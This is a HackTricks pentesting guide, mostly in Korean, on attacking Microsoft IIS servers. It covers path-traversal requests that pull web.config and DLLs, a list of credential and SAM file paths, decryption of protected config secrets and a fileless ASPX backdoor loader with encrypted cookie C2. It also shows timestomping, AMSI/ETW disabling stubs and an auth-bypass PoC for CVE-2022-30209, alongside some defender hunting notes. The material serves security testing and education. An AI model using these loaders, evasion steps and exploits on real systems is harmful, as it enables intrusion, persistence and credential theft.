hacktricks/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md

21 KiB
Raw Blame History

IIS - Internet Information Services

{{#include ../../banners/hacktricks-training.md}}

테스트 가능한 실행 파일 확장자:

  • asp
  • aspx
  • config
  • php

내부 IP 주소 노출

302를 반환하는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해 보세요. 응답의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:

nc -v domain.com 80
openssl s_client -connect domain.com:443

내부 IP를 노출하는 응답:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config 파일 실행

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

제가 만든 목록을 다운로드하세요:

{{#file}} iisfinal.txt {{#endfile}}

다음 목록의 내용을 합쳐서 만들었습니다:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

확장자를 추가하지 않고 사용하세요. 필요한 확장자는 이미 파일에 포함되어 있습니다.

Path Traversal

Leaking source code

전체 설명은 다음에서 확인하세요: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

요약하면, 애플리케이션 폴더 안에 여러 web.config 파일이 있으며 이 파일들에는 "assemblyIdentity" 파일과 "namespaces"에 대한 참조가 포함되어 있습니다. With this information it's possible to know where are executables located and download them.
From the downloaded Dlls it's also possible to find new namespaces where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.
또한 connectionstrings.configglobal.asax 파일에 유용한 정보가 포함되어 있을 수 있습니다.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through "assemblyIdentity" XML tags.

이진 파일 탐색

아래는 web.config 파일에 접근하는 예시입니다:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

이 요청은 다음과 같은 다양한 설정 및 종속성을 드러냅니다:

  • EntityFramework 버전
  • AppSettings (웹페이지, 클라이언트 검증 및 JavaScript용)
  • System.web (인증 및 런타임 구성)
  • System.webServer 모듈 설정
  • Runtime의 어셈블리 바인딩(예: Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc 등)

이러한 설정은 /bin/WebGrease.dll와 같은 특정 파일들이 애플리케이션의 /bin 폴더에 위치해 있음을 나타냅니다.

루트 디렉터리 파일

루트 디렉터리에서 발견되는 /global.asax/connectionstrings.config(민감한 비밀번호가 포함되어 있음)와 같은 파일들은 애플리케이션의 구성 및 운영에 필수적입니다.

네임스페이스와 Web.Config

MVC 애플리케이션은 또한 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대해 추가적인 web.config 파일을 정의합니다. 이는 다른 web.config를 다운로드하는 요청으로 확인됩니다:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLs 다운로드

사용자 지정 네임스페이스의 언급은 /bin 디렉토리에 위치한 WebApplication1라는 이름의 DLL이 있음을 시사합니다.
이후 WebApplication1.dll을 다운로드하라는 요청이 표시됩니다:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

이는 /bin 디렉터리에 System.Web.Mvc.dllSystem.Web.Optimization.dll 같은 다른 필수 DLL들이 존재함을 시사합니다.

DLL이 WebApplication1.Areas.Minded라는 네임스페이스를 가져오는 상황에서는, 공격자가 /area-name/Views/ 같은 예측 가능한 경로에 다른 web.config 파일들이 존재할 수 있다고 추론할 수 있으며, 이들 파일에는 특정 설정과 /bin 폴더의 다른 DLL들에 대한 참조가 포함되어 있을 수 있습니다. 예를 들어, /Minded/Views/web.config에 대한 요청은 구성과 네임스페이스를 드러내어 다른 DLL인 WebApplication1.AdditionalFeatures.dll의 존재를 시사할 수 있습니다.

일반 파일

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 오류

이는 서버가 Host header 안에서 올바른 도메인 이름을 받지 못했다는 것을 의미합니다.
웹 페이지에 접근하려면 제공된 SSL 인증서를 확인해서 도메인/서브도메인 이름을 찾을 수 있는지 확인하세요. 없다면 올바른 것을 찾을 때까지 brute force VHosts를 시도해야 할 수 있습니다.

암호화된 구성 및 ASP.NET Core Data Protection key rings 복호화

IIS에서 호스팅되는 .NET 앱의 비밀을 보호하기 위한 두 가지 일반적인 패턴은 다음과 같습니다:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config의 같은 섹션용.
  • ASP.NET Core Data Protection key ring (persisted locally) — 애플리케이션 시크릿과 쿠키를 보호하는 데 사용됨.

웹 서버에 파일 시스템 또는 대화형 접근 권한이 있다면, 같은 위치에 있는 키로 복호화가 가능한 경우가 많습니다.

  • ASP.NET (Full Framework) 보호된 구성 섹션을 aspnet_regiis로 복호화:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core look for Data Protection key rings stored locally (XML/JSON files) under locations like:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

With the key ring available, an operator running in the apps identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and postexploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64encoded, optionally Gzipcompressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookiescoped, encrypted C2 with multistage packing: tasks/results are wrapped with Gzip → AESECB/PKCS7 → Base64 and moved via seemingly legitimate cookieheavy requests; operators used stable delimiters (e.g., "STAR") for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW predisable for loaders: a secondstage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of inmemory payloads.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

패킹/crypto 헬퍼 (Gzip + AESECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AESECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session 흐름 및 명령 인터페이스

  • Session bootstrap 및 tasking은 cookies를 통해 전달되어 정상적인 웹 활동과 섞이도록 합니다.
  • 현장에서 관찰된 명령에는 다음이 포함됩니다: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; 및 메모리 내 .NET 실행을 위한 동적 실행 원시인 code_self, code_pid, run_code.

Timestomping 유틸리티

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load 호출 전에 AMSI/ETW를 인라인으로 비활성화하기 (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • 단일의 이상한 ASPX 페이지로 매우 긴 Base64/Gzip 블롭이 존재; 쿠키가 많은 POST 요청.
  • w3wp.exe 내부의 unbacked managed modules; "Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run" 같은 문자열들.
  • 트래픽에 "STAR" 같은 반복 구분자; ASPX/assemblies에 불일치하거나 심지어 미래 시점의 타임스탬프.

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature Short File/Folder Name Disclosure

이 기술을 사용하면 발견한 각 폴더 내부의 폴더와 파일을 열거해볼 수 있다(심지어 Basic Authentication이 필요한 경우에도).
이 취약한 서버에서 이 기법의 주요 제한은 각 파일/폴더 이름의 처음 6글자와 파일 확장자의 처음 3글자까지만 찾을 수 있다는 점이다.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

원본 연구: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

발견한 파일의 최종 이름을 찾는 좋은 아이디어는 LLMs에 옵션을 물어보는 것인데, 이는 스크립트 https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py에서 한 것과 유사하다.

Basic Authentication bypass

Basic Authentication (IIS 7.5)을 우회하려면 다음에 접근을 시도해 보자: /admin:$i30:$INDEX_ALLOCATION/admin.php 또는 /admin::$INDEX_ALLOCATION/admin.php

이 취약점과 앞서 설명한 취약점을 조합하여 새로운 폴더를 찾고 인증을 우회해 볼 수 있다.

ASP.NET Trace.AXD enabled debugging

ASP.NET은 디버깅 모드를 포함하고 있으며 해당 파일은 trace.axd라고 불린다.

이는 일정 기간 동안 애플리케이션에 대해 이루어진 모든 요청의 매우 상세한 로그를 보관한다.

이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로는 사용자명과 비밀번호까지 포함된다.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH는 다음 정보를 사용한다:

  • validationKey (string): 서명 검증에 사용하는 hex 인코딩된 키.
  • decryptionMethod (string): (기본값 “AES”).
  • decryptionIV (string): hex 인코딩된 초기화 벡터(기본값은 0으로 채워진 벡터).
  • decryptionKey (string): 복호화에 사용하는 hex 인코딩된 키.

하지만 일부는 이러한 매개변수들의 기본값을 사용하고 쿠키에 사용자 이메일을 사용하는 경우가 있다. 따라서 동일 플랫폼을 사용하며 ASPXAUTH 쿠키를 사용하는 다른 웹을 찾아서, 공격 대상 서버에서 가장하고 싶은 사용자의 이메일로 계정을 생성할 수 있다면, 두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있을지도 모른다.
이 공격은 이 writeup에서 성공했다.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: 코드의 버그로 인해 사용자가 제공한 비밀번호를 제대로 검사하지 않았고, 따라서 공격자가 자신의 비밀번호 해시가 캐시에 이미 존재하는 키와 일치하면 그 사용자로 로그인할 수 있다 .

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

참고자료

{{#include ../../banners/hacktricks-training.md}}